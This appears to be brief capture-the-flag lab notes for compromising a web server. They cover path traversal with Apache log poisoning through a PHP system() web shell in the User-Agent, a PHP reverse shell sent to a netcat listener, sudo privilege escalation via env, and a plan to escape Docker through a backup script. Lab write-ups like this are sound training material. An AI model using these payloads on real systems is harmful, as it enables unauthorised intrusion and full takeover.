GET /?view=dog/../../../../var/log/apache2/access.log&ext=&cmd=ls HTTP/1.1
Host: 10.10.129.114
User-Agent: <?php system($_GET['cmd']);?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Kali
nc -lvnp 1337
Burp
GET /?view=dog/../../../../var/log/apache2/access.log&ext=&cmd=php+-r+'$sock%3dfsockopen("10.10.145.14",1337)%3bexec("sh+<%263+>%263+2>%263")%3b' HTTP/1.1
Host: 10.10.129.114
User-Agent: <?php system($_GET['cmd']);?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Get autocomplete
script -qc /bin/bash /dev/null
ctrl + Z
stty raw -echo;fg
Privilege Escalation
sudo -l
/usr/bin/env /bin/sh -p
Break out of Docker
We get a hint we're actually in a docker container
Victim
ls -lah /
We can see there is a backups folder that tars the contents of /root/container since we have access to edit this file we modify the file with a reverse shell
